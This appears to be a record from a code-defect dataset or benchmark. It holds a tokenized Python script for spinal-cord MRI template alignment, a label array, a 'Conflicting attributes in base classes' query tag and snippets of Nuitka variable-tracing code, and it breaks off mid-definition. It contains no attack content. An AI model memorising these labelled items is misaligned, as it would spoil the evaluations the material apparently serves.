")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "averag", "e\\u", "levels_", "(_", "contrast", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "contrast", "_", "==_", "'", "bot", "h", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Ave", "rag", "ing", " ", "level", "s", " ", "from", " ", "T1", " ", "and", " ", "T2", " ", "contrast", "s", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "numpy_", "import_", "mean_", ",_", "zeros_", ",_", "array_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n", "\\u", "i_", ",_", "n", "\\u", "l_", "=_", "2_", ",_", "number", "\\u", "labels", "\\u", "for", "\\u", "template_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "average_", "=_", "zeros_", "(_", "(_", "n", "\\u", "i_", ",_", "n", "\\u", "l_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compt", "eur_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "img", "\\u", "T1_", "=_", "nib", "abel_", "._", "load_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "T1", "/", "template", "\\u", "landmarks", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "T1_", "=_", "img", "\\u", "T1_", "._", "get", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", ",_", "Y_", ",_", "Z_", "=_", "(_", "data\\u", "T1_", ">_", "0_", ")_", "._", "nonzero_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "[_", "Z_", "[_", "i_", "]_", "for_", "i_", "in_", "Z_", "._", "argsort_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "._", "reverse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "n", "\\u", "l_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "i_", "<_", "len_", "(_", "Z_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "average_", "[_", "compt", "eur_", "]_", "[_", "i_", "]_", "=_", "Z_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "compt", "eur_", "=_", "compt", "eur_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "img", "\\u", "T2_", "=_", "nib", "abel_", "._", "load_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "T2", "/", "template", "\\u", "landmarks", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "T2_", "=_", "img", "\\u", "T2_", "._", "get", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", ",_", "Y_", ",_", "Z_", "=_", "(_", "data\\u", "T1_", ">_", "0_", ")_", "._", "nonzero_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "[_", "Z_", "[_", "i_", "]_", "for_", "i_", "in_", "Z_", "._", "argsort_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "._", "reverse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "n", "\\u", "l_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "i_", "<_", "len_", "(_", "Z_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "average_", "[_", "compt", "eur_", "]_", "[_", "i_", "]_", "=_", "Z_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "average_", "=_", "array_", "(_", "[_", "int_", "(_", "round_", "(_", "mean_", "(_", "[_", "average_", "[_", "average_", "[_", ":_", ",_", "i_", "]_", ">_", "0_", ",_", "i_", "]_", "]_", ")_", ")_", ")_", "for_", "i_", "in_", "xrange_", "(_", "n", "\\u", "l_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "template", "\\u", "abs", "olute", "\\u", "path_", "=_", "path", "\\u", "sct", "_", "+_", "'/", "dev", "/", "template", "\\u", "creati", "on", "/", "template", "\\u", "shape", ".", "ni", "i", ".", "gz", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "template", "\\u", "abs", "olute", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "n", "Get", " ", "dimension", "s", " ", "of", " ", "template", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "msc", "t", "\\u", "image_", "import_", "Image_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nx_", ",_", "ny_", ",_", "nz_", ",_", "nt_", ",_", "px_", ",_", "py_", ",_", "pz", "_", ",_", "pt_", "=_", "Image_", "(_", "template", "\\u", "abs", "olute", "\\u", "path_", ")_", "._", "dim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'..", " ", "matrix", " ", "size", ":", " ", "'_", "+_", "str_", "(_", "nx_", ")_", "+_", "'", " ", "x", " ", "'_", "+_", "str_", "(_", "ny_", ")_", "+_", "'", " ", "x", " ", "'_", "+_", "str_", "(_", "nz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'..", " ", "voxel", " ", "size", ":", " ", " ", "'_", "+_", "str_", "(_", "px_", ")_", "+_", "'", "mm", " ", "x", " ", "'_", "+_", "str_", "(_", "py_", ")_", "+_", "'", "mm", " ", "x", " ", "'_", "+_", "str_", "(_", "pz", "_", ")_", "+_", "'", "mm", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "img_", "=_", "nib", "abel_", "._", "load_", "(_", "template", "\\u", "abs", "olute", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "img_", "._", "get", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hdr_", "=_", "img_", "._", "get", "\\u", "header_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", ":_", ",_", ":_", ",_", ":_", "]_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compt", "eur_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "average_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "int_", "(_", "round_", "(_", "nx_", "/_", "2.0_", ")_", ")_", ",_", "int_", "(_", "round_", "(_", "ny_", "/_", "2.0_", ")_", ")_", ",_", "int_", "(_", "round_", "(_", "i_", ")_", ")_", ",_", "int_", "(_", "round_", "(_", "compt", "eur_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "int_", "(_", "round_", "(_", "nx_", "/_", "2.0_", ")_", ")_", ",_", "int_", "(_", "round_", "(_", "ny_", "/_", "2.0_", ")_", ")_", ",_", "int_", "(_", "round_", "(_", "i_", ")_", ")_", "]_", "=_", "int_", "(_", "round_", "(_", "compt", "eur_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compt", "eur_", "=_", "compt", "eur_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'\\\\", "n", "Save", " ", "volume", " ", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "hdr", ".", "set\\u", "data\\u", "dt", "ype", "('", "float", "32", "')", " ", "#", " ", "set", " ", "image", "type", " ", "to", " ", "uint8_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "save", " ", "volume_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "data", " ", "=", " ", "data", ".", "ast", "ype", "(", "float", "32", ",", " ", "copy", " ", "=", "Fal", "se", ")_", "\\u\\u\\uNL\\u\\u\\u_", "img_", "=_", "nib", "abel_", "._", "Ni", "fti", "1", "Image_", "(_", "data_", ",_", "None_", ",_", "hdr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "name_", "=_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "T1", "/", "template", "\\u", "landmarks", ".", "ni", "i", ".", "gz", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nib", "abel_", "._", "save_", "(_", "img_", ",_", "file", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "n", "File", " ", "created", " ", ":", " ", "'_", "+_", "file", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "name_", "=_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "T2", "/", "template", "\\u", "landmarks", ".", "ni", "i", ".", "gz", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nib", "abel_", "._", "save_", "(_", "img_", ",_", "file", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "n", "File", " ", "created", " ", ":", " ", "'_", "+_", "file", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'\\\\", "n", "Go", " ", "to", " ", "output", " ", "folder", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "'_", "+_", "contrast", "_", "+_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "chdir_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "'_", "+_", "contrast", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "n", "Calculat", "e", " ", "mean", " ", "along", " ", "subject", "s", " ", "of", " ", "files", " ", "labels", "\\u", "vert", "ebra", "l", " ", "and", " ", "save", " ", "it", " ", "int", "o", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "'_", "+_", "contrast", "_", "+_", "'", " ", "as", " ", "template", "\\u", "landmarks", ".", "ni", "i", ".", "gz", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template", "\\u", "shape_", "=_", "path", "\\u", "sct", "_", "+_", "'/", "dev", "/", "template", "\\u", "creati", "on", "/", "template", "\\u", "shape", ".", "ni", "i", ".", "gz", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "this", " ", "function", " ", "look", "s", " ", "at", " ", "all", " ", "files", " ", "insi", "de", " ", "the", " ", "folder", " ", "\"", "labels", "\\u", "vert", "ebra", "l\\u", "T", "*\"", " ", "and", " ", "find", " ", "the", " ", "averag", "e", " ", "vert", "ebra", "l", " ", "level", "s", " ", "acro", "ss", " ", "subjects_", "\\u\\u\\uNL\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "averag", "e\\u", "level", "s", ".", "py", " ", "-", "i", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "'_", "+_", "contrast", "_", "+_", "'", " ", "-", "t", " ", "'_", "+_", "template", "\\u", "shape_", "+_", "'", " ", "-", "n", " ", "'_", "+_", "str_", "(_", "number", "\\u", "labels", "\\u", "for", "\\u", "template_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "align", "\\u", "vert", "ebra", "e_", "(_", "contrast", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "range_", "(_", "0_", ",_", "len_", "(_", "SUBJECT", "S", "\\u", "LIST_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subject_", "=_", "SUBJECT", "S", "\\u", "LIST_", "[_", "i_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "go", " ", "to", " ", "output", " ", "folder_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Go", " ", "to", " ", "output", " ", "folder", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "chdir_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Align", "ing", " ", "vert", "ebra", "e", " ", "for", " ", "subject", " ", "'_", "+_", "subject_", "+_", "'...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "print", "v_", "(_", "'\\\\", "nsc", "t", "\\u", "align", "\\u", "vert", "ebra", "e", ".", "py", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", "\\u", "crop", "\\u", "2te", "mp", ".", "ni", "i", ".", "gz", " ", "-", "l", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", "\\u", "crop", "\\u", "2te", "mp", ".", "ni", "i", ".", "gz", " ", "-", "R", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "'_", "+_", "contrast", "_", "+_", "'/", "template", "\\u", "landmarks", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "'_", "+_", "subject_", "+_", "'\\u", "aligned", ".", "ni", "i", ".", "gz", " ", "-", "t", " ", "Sy", "N", " ", "-", "w", " ", "spline", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "'", "sct", "\\u", "align", "\\u", "vert", "ebra", "e", ".", "py", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", "\\u", "crop", "\\u", "2te", "mp", ".", "ni", "i", ".", "gz", " ", "-", "l", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", "\\u", "crop", "\\u", "2te", "mp", ".", "ni", "i", ".", "gz", " ", "-", "R", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "'_", "+_", "contrast", "_", "+_", "'/", "template", "\\u", "landmarks", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "'_", "+_", "subject_", "+_", "'\\u", "aligned", ".", "ni", "i", ".", "gz", " ", "-", "t", " ", "Sy", "N", " ", "-", "w", " ", "spline", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Change", " ", "image", " ", "type", " ", "from", " ", "float", "64", " ", "to", " ", "uint16_", "\\u\\u\\uNL\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "change", "\\u", "image", "\\u", "type", ".", "py", " ", "-", "i", " ", "'_", "+_", "subject_", "+_", "'\\u", "aligned", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "'_", "+_", "subject_", "+_", "'\\u", "aligned", ".", "ni", "i", ".", "gz", " ", "-", "t", " ", "uint", "16", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Infor", "m", " ", "tha", "t", " ", "results", " ", "for", " ", "the", " ", "subject", " ", "is", " ", "ready_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "The", " ", "results", " ", "for", " ", "subject", " ", "'_", "+_", "subject_", "+_", "'", " ", "are", " ", "read", "y", ".", " ", "You", " ", "can", " ", "visualize", " ", "them", " ", "by", " ", "tap", "ping", ":", " ", "fs", "lv", "iew", " ", "'_", "+_", "subject_", "+_", "'\\u", "aligned", "\\u", "normali", "zed", ".", "ni", "i", ".", "gz", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", " ", "final", " ", "results", " ", "int", "o", " ", "final", " ", "results_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "Final", "\\u", "results", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "makedirs_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "Final", "\\u", "results", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "cp", " ", "'_", "+_", "subject_", "+_", "'\\u", "aligned", ".", "ni", "i", ".", "gz", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "Final", "\\u", "results", "/'_", "+_", "subject_", "+_", "'\\u", "aligned", "\\u'_", "+_", "contrast", "_", "+_", "'.", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Save", " ", "png", " ", "images", " ", "of", " ", "the", " ", "results", " ", "int", "o", " ", "a", " ", "different", " ", "folder_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Sav", "ing", " ", "png", " ", "image", " ", "of", " ", "the", " ", "final", " ", "result", " ", "int", "o", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "Image", "\\u", "results", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "Image", "\\u", "results", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "makedirs_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "Image", "\\u", "results", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "=_", "nib", "abel_", "._", "load_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "Final", "\\u", "results", "/'_", "+_", "subject_", "+_", "'\\u", "aligned", "\\u'_", "+_", "contrast", "_", "+_", "'.", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "f_", "._", "get", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "msc", "t", "\\u", "image_", "import_", "Image_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nx_", ",_", "ny_", ",_", "nz_", ",_", "nt_", ",_", "px_", ",_", "py_", ",_", "pz", "_", ",_", "pt_", "=_", "Image_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "Final", "\\u", "results", "/'_", "+_", "subject_", "+_", "'\\u", "aligned", "\\u'_", "+_", "contrast", "_", "+_", "'.", "ni", "i", ".", "gz", "'_", ")_", "._", "dim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sag", "ita", "l\\u", "middle_", "=_", "nx_", "/_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "coro", "nal", "\\u", "middle_", "=_", "ny_", "/_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sag", "itt", "al_", "=_", "data_", "[_", "sag", "ita", "l\\u", "middle_", ",_", ":_", ",_", ":_", "]_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "coro", "nal_", "=_", "data_", "[_", ":_", ",_", "coro", "nal", "\\u", "middle_", ",_", ":_", "]_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", ",_", "ax_", "=_", "plt_", "._", "subplots_", "(_", "1_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "[_", "0_", "]_", "._", "imshow_", "(_", "sag", "itt", "al_", ",_", "cmap_", "=_", "'", "gray", "'_", ",_", "origin_", "=_", "'", "lower", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "[_", "0_", "]_", "._", "set\\u", "title_", "(_", "'", "sag", "itt", "al", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "[_", "1_", "]_", "._", "imshow_", "(_", "coro", "nal_", ",_", "cmap_", "=_", "'", "gray", "'_", ",_", "origin_", "=_", "'", "lower", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "[_", "1_", "]_", "._", "set\\u", "title_", "(_", "'", "coro", "nal", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ax_", "[_", "i_", "]_", "._", "set\\u", "axis", "\\u", "off_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fig", "1_", "=_", "plt_", "._", "gcf", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig", "1_", "._", "savefig_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "Image", "\\u", "results", "'_", "+_", "'/'_", "+_", "subject_", "+_", "'\\u", "aligned", "\\u'_", "+_", "contrast", "_", "+_", "'.", "png", "'_", ",_", "format_", "=_", "'", "png", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "timer_", "[_", "contrast", "_", "]_", "._", "one", "\\u", "subject", "\\u", "done_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Conflicting attributes in base classes
kayhayen/Nuitka/nuitka/optimizations/TraceCollections.py
[ { "content": "class VariableUsageTrackingMixin:\n", "metadata": "root.VariableUsageTrackingMixin", "header": "['module', '___EOS___']", "index": 50 }, { "content": " def initVariable(self, variable):\n if variable.isParameterVariable():\n result = self._initVariableInit(variable)\n elif variable.isLocalVariable():\n result = self._initVariableUninit(variable)\n elif variable.isMaybeLocalVariable():\n result = self._initVariableUnknown(variable)\n elif variable.isModuleVariable():\n result = self._initVariableUnknown(variable)\n elif variable.isTempVariable():\n result = self._initVariableUninit(variable)\n else:\n assert False, variable\n\n assert result.getVariable() is variable\n\n return result", "metadata": "root.VariableUsageTrackingMixin.initVariable", "header": "['class', 'VariableUsageTrackingMixin', ':', '___EOS___']", "index": 52 }, { "content": "class CollectionTracingMixin:\n\n\n\n\n\n\n", "metadata": "root.CollectionTracingMixin", "header": "['module', '___EOS___']", "index": 71 }, { "content": " def __init__(self):\n # For functions, when we are in here, the currently active one,\n self.variable_actives = {}", "metadata": "root.CollectionTracingMixin.__init__", "header": "['class', 'CollectionTracingMixin', ':', '___EOS___']", "index": 72 }, { "content": " def getVariableCurrentTrace(self, variable):\n return self.getVariableTrace(\n variable = variable,\n version = self.getCurrentVariableVersion(variable)\n )", "metadata": "root.CollectionTracingMixin.getVariableCurrentTrace", "header": "['class', 'CollectionTracingMixin', ':', '___EOS___']", "index": 76 }, { "content": " def markCurrentVariableTrace(self, variable, version):\n self.variable_actives[variable] = version", "metadata": "root.CollectionTracingMixin.markCurrentVariableTrace", "header": "['class', 'CollectionTracingMixin', ':', '___EOS___']", "index": 82 }, { "content": " def getCurrentVariableVersion(self, variable):\n try:\n return self.variable_actives[variable]\n except KeyError:\n # Initialize variables on the fly.\n if not self.hasVariableTrace(variable, 0):\n self.initVariable(variable)\n\n self.markCurrentVariableTrace(variable, 0)\n\n return self.variable_actives[variable]", "metadata": "root.CollectionTracingMixin.getCurrentVariableVersion", "header": "['class', 'CollectionTracingMixin', ':', '___EOS___']", "index": 85 }, { "content": " def getActiveVariables(self):\n return self.variable_actives.keys()", "metadata": "root.CollectionTracingMixin.getActiveVariables", "header": "['class', 'CollectionTracingMixin', ':', '___EOS___']", "index": 97 }, { "content": " def markActiveVariableAsUnknown(self, variable):\n current = self.getVariableCurrentTrace(\n variable = variable,\n )\n\n if not current.isUnknownTrace():\n version = variable.allocateTargetNumber()\n\n self.addVariableTrace(\n variable = variable,\n version = version,\n trace = VariableTraceUnknown(\n owner = self.owner,\n variable = variable,\n version = version,\n previous = current\n )\n )\n\n self.markCurrentVariableTrace(variable, version)", "metadata": "root.CollectionTracingMixin.markActiveVariableAsUnknown", "header": "['class', 'CollectionTracingMixin', ':', '___EOS___']", "index": 100 }, { "content": " def markActiveVariableAsLoopMerge(self, variable):\n current = self.getVariableCurrentTrace(\n variable = variable,\n )\n\n version = variable.allocateTargetNumber()\n\n result = VariableTraceLoopMerge(\n variable = variable,\n version = version,\n previous = current\n )\n\n self.addVariableTrace(\n variable = variable,\n version = version,\n trace = result\n )\n\n self.markCurrentVariableTrace(variable, version)\n\n return result", "metadata": "root.CollectionTracingMixin.markActiveVariableAsLoopMerge", "header": "['class', 'CollectionTracingMixin', ':', '___EOS___']", "index": 121 }, { "content": " def 